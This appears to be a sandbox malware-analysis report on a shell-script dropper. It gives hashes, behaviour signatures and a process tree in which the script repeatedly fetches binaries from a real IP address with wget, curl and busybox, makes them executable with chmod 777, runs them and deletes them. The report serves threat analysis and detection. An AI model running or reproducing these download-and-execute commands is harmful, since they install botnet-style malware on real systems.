Analysis

  • max time kernel
    22s
  • max time network
    23s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 08:14

General

  • Target

    bbb77661367bd4071740b3ca95c991f017dbfc6d49c9fad696dddd7cbedc237f.sh

  • Size

    10KB

  • MD5

    77bee17b866cc1fd41dd0e6795516a37

  • SHA1

    fbe900100ffafc804c69a94b5ee81405100c02e5

  • SHA256

    bbb77661367bd4071740b3ca95c991f017dbfc6d49c9fad696dddd7cbedc237f

  • SHA512

    6284423f5b87140261dee3ec564d00d38f4dd59dd41f86a9d342027230a4012db3224b4cb8e9341a4a30ffcb73b822319b88a65d51c55678886b6a708fa62d4d

  • SSDEEP

    192:YnrtGG7NhRmOJQM4+2IJ7Rk8UD+u0KCaHHRYbAQrHB+GvrHB+GRnrtGGJNhRmOuX:8NhRmOJQM4+xJ7dfKOAQrHB+GvrHB+Gy

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bbb77661367bd4071740b3ca95c991f017dbfc6d49c9fad696dddd7cbedc237f.sh
    /tmp/bbb77661367bd4071740b3ca95c991f017dbfc6d49c9fad696dddd7cbedc237f.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
          2⤵
            PID:652
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:670
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
            2⤵
              PID:675
            • /bin/chmod
              chmod 777 b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
              2⤵
              • File and Directory Permissions Modification
              PID:676
            • /tmp/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
              ./b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
              2⤵
              • Executes dropped EXE
              PID:677
            • /bin/rm
              rm b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n
              2⤵
                PID:678
              • /usr/bin/wget
                wget http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                2⤵
                  PID:679
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:680
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                  2⤵
                    PID:687
                  • /bin/chmod
                    chmod 777 pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                    2⤵
                    • File and Directory Permissions Modification
                    PID:692
                  • /tmp/pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                    ./pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                    2⤵
                    • Executes dropped EXE
                    PID:694
                  • /bin/rm
                    rm pebU8NLJ2QZm3ljGLG6AjiGvKW3L2zgyFr
                    2⤵
                      PID:695
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                      2⤵
                        PID:696
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:721
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                        2⤵
                          PID:730
                        • /bin/chmod
                          chmod 777 R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                          2⤵
                          • File and Directory Permissions Modification
                          PID:735
                        • /tmp/R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                          ./R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                          2⤵
                          • Executes dropped EXE
                          PID:736
                        • /bin/rm
                          rm R6JtIiTg7Cg2azn4w4oDKBJyrgATUVyfij
                          2⤵
                            PID:737
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                            2⤵
                              PID:738
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:739
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                              2⤵
                                PID:742
                              • /bin/chmod
                                chmod 777 rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                                2⤵
                                • File and Directory Permissions Modification
                                PID:747
                              • /tmp/rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                                ./rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                                2⤵
                                • Executes dropped EXE
                                PID:748
                              • /bin/rm
                                rm rA8TxQwqLmHMgt5WJOMQMZZPYO6SeeSdMR
                                2⤵
                                  PID:749
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                  2⤵
                                    PID:751
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:757
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                    2⤵
                                      PID:764
                                    • /bin/chmod
                                      chmod 777 rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:770
                                    • /tmp/rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                      ./rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                      2⤵
                                      • Executes dropped EXE
                                      PID:771
                                    • /bin/rm
                                      rm rCUQoU8oBiCcEg5qTgbyNfHBsEtY11Y9aK
                                      2⤵
                                        PID:773
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                        2⤵
                                          PID:774
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:781
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                          2⤵
                                            PID:782
                                          • /bin/chmod
                                            chmod 777 ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:783
                                          • /tmp/ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                            ./ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                            2⤵
                                            • Executes dropped EXE
                                            PID:784
                                          • /bin/rm
                                            rm ezk2IT2dVBwQgBhEHIMVRyOqkUIiZ2m5Ll
                                            2⤵
                                              PID:785
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                              2⤵
                                                PID:786
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:787
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                                2⤵
                                                  PID:788
                                                • /bin/chmod
                                                  chmod 777 2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:789
                                                • /tmp/2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                                  ./2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:790
                                                • /bin/rm
                                                  rm 2ztLXeAOigeOY44ahCLMb1hoCslqoEooJD
                                                  2⤵
                                                    PID:791
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                    2⤵
                                                      PID:792
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:793
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                      2⤵
                                                        PID:794
                                                      • /bin/chmod
                                                        chmod 777 sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:795
                                                      • /tmp/sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                        ./sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:796
                                                      • /bin/rm
                                                        rm sXmLfTQZLQDyxKa1AvY2uJa7K73tGoe4xd
                                                        2⤵
                                                          PID:797
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                          2⤵
                                                            PID:798
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:799
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                            2⤵
                                                              PID:800
                                                            • /bin/chmod
                                                              chmod 777 7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:801
                                                            • /tmp/7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                              ./7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:802
                                                            • /bin/rm
                                                              rm 7cLNA9H2S3BsuPg5j9PCz1w9Zbrt411uGv
                                                              2⤵
                                                                PID:803
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                2⤵
                                                                  PID:804
                                                                • /usr/bin/curl
                                                                  curl -O http://216.126.231.240/bins/5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:805
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                  2⤵
                                                                    PID:806
                                                                  • /bin/chmod
                                                                    chmod 777 5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:807
                                                                  • /tmp/5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                    ./5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:808
                                                                  • /bin/rm
                                                                    rm 5l4Jhg0nKpedT0d1oZFp9RyhuMSRMFcxMI
                                                                    2⤵
                                                                      PID:809
                                                                    • /usr/bin/wget
                                                                      wget http://216.126.231.240/bins/FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                      2⤵
                                                                        PID:810
                                                                      • /usr/bin/curl
                                                                        curl -O http://216.126.231.240/bins/FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:811
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://216.126.231.240/bins/FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                        2⤵
                                                                          PID:812
                                                                        • /bin/chmod
                                                                          chmod 777 FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:813
                                                                        • /tmp/FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                          ./FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:814
                                                                        • /bin/rm
                                                                          rm FHbdJp4ofFQE563YPPEO84Mlg55XHua9K4
                                                                          2⤵
                                                                            PID:815
                                                                          • /usr/bin/wget
                                                                            wget http://216.126.231.240/bins/tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                            2⤵
                                                                              PID:816
                                                                            • /usr/bin/curl
                                                                              curl -O http://216.126.231.240/bins/tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:817
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://216.126.231.240/bins/tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                              2⤵
                                                                                PID:818
                                                                              • /bin/chmod
                                                                                chmod 777 tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:819
                                                                              • /tmp/tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                                ./tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:820
                                                                              • /bin/rm
                                                                                rm tgsOhUvjmRjf2CBhhW9EMnEYAjeucOOmgH
                                                                                2⤵
                                                                                  PID:821
                                                                                • /usr/bin/wget
                                                                                  wget http://216.126.231.240/bins/2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                  2⤵
                                                                                    PID:822
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://216.126.231.240/bins/2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:823
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://216.126.231.240/bins/2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                    2⤵
                                                                                      PID:826
                                                                                    • /bin/chmod
                                                                                      chmod 777 2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:827
                                                                                    • /tmp/2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                      ./2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:828
                                                                                    • /bin/rm
                                                                                      rm 2OUJ87yUwEMH5vkZLgZ32qHjjMx6jaP2Hb
                                                                                      2⤵
                                                                                        PID:829
                                                                                      • /usr/bin/wget
                                                                                        wget http://216.126.231.240/bins/e81v4mmB0VXqxAsOG7uQt0J83UpiLoyjVN
                                                                                        2⤵
                                                                                          PID:830

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • /tmp/b2FGs95mFuYYXDBu3HpTy2fY1Q27asFU3n

                                                                                        Filesize

                                                                                        153B

                                                                                        MD5

                                                                                        998368d7c95ea4293237f2320546e440

                                                                                        SHA1

                                                                                        30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                        SHA256

                                                                                        533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                        SHA512

                                                                                        648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97